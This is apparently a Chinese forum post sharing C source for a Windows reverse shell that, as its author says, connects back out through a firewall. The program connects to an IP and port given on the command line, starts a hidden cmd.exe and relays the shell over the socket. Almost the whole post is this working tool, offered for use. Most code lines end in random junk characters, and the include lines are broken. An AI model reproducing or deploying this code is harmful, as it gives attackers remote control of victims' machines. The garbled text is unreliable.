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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -da: j-_  
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/* ============================== hi(e%da  
Rebound port in Windows NT cL%"AVsj >  
By wind,2006/7 >hSu1s:  
===============================*/ Jqgm>\y  
#include 0;)Q  
#include - q(a~Ge  
Yv)c\hm(7j  
#pragma comment(lib,"wsock32.lib") m6^#pqSL  
\ntUxPox.  
void OutputShell(); [n&ES\o#(  
SOCKET sClient; Zl'/Mx g  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h-O;5.m-P  
_ iDVd2X"H  
void main(int argc,char **argv) ?7lW@U0  
{ oa=TlBk<  
WSADATA stWsaData; *_J{_7pwe  
int nRet; >z/.8!#Q  
SOCKADDR_IN stSaiClient,stSaiServer; !%t2Z QJq  
IG\Cj7{K^  
if(argc != 3) aO(iKlZ$  
{ z6;hFcO  
printf("Useage:\n\rRebound DestIP DestPort\n"); oC} u  
return; Q {~$7J  
} $B<:SuV#  
rH,@"( p\  
WSAStartup(MAKEWORD(2,2),&stWsaData); =vQ J2Rg  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?WqaT)l~  
:x5O1Zn/t  
stSaiClient.sin_family = AF_INET; 0y/31hp  
stSaiClient.sin_port = htons(0); IC8%E3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sV5") /~  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F#) bGi  
{ ~#P]NWW%.  
printf("Bind Socket Failed!\n"); _Yp~Oj  
return; ^A=tk!C  
} \o72VHG66  
h 6?Z  
stSaiServer.sin_family = AF_INET; XR[=W(m}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E^ c *x^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ol h{<~Fv  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @-xvdntx  
{ X6(s][Wn  
printf("Connect Error!");  \G)F*  
return; u8%X~K\  
} h~CLJoK<  
OutputShell(); .,#H]?Wil  
} 75> Ok/  
.L"IG=Uh#  
void OutputShell() -r3 s{HO  
{ u3,O)[qV  
char szBuff[1024]; b5 NlL`g  
SECURITY_ATTRIBUTES stSecurityAttributes; |#SZd Xg  
OSVERSIONINFO stOsversionInfo; v@M^ukk'}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $?k]KD  
STARTUPINFO stStartupInfo; ZMiOKVl  
char *szShell; D `V.gV]  
PROCESS_INFORMATION stProcessInformation; 1kUlQ*[<|  
unsigned long lBytesRead; UuF(n$B  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z_S{$D  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0WSZhzNyY  
stSecurityAttributes.lpSecurityDescriptor = 0; $)8,dS  
stSecurityAttributes.bInheritHandle = TRUE; aH @-"Wi  
5U+4vV/*  
:{lP9%J-  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +w?R4Sxjn  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IPYwUix  
8 Zp^/43  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wD{c$TJ?{F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kdp($L9r  
stStartupInfo.wShowWindow = SW_HIDE; G-RDQ  
stStartupInfo.hStdInput = hReadPipe; :lvBcFw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Qr7v^H~E4.  
0x]?rd+q8Q  
GetVersionEx(&stOsversionInfo); hh%?E\qM  
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switch(stOsversionInfo.dwPlatformId) $7g+/3Fu^  
{ bJD$!*r\%!  
case 1: ysp`(n=  
szShell = "command.com"; NsM`kZM4H  
break; b l+g7g;  
default: k1zK3I&c_  
szShell = "cmd.exe"; 5dE=M};v  
break; PR$;*|@  
} ^i!6z2/  
v0E6i!D/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Hk h'h"_r  
&{+0a[rN  
send(sClient,szMsg,77,0); y5+%8#3  
while(1) 66" 6>  
{ 8,!Oup  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qz (x  
if(lBytesRead) btq 4diW  
{ nQ_{IO8/6W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~ ) w4Tq  
send(sClient,szBuff,lBytesRead,0); 6(4d3}F  
} 6X m'^T  
else T :m" eD;  
{ r-.@MbBm  
lBytesRead=recv(sClient,szBuff,1024,0); h"0)spF"d  
if(lBytesRead<=0) break; u5glKE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "opMS/a"7  
} dpNERc5  
} S5y.H  
zhFm2  
return; fbOqxF"?we  
}
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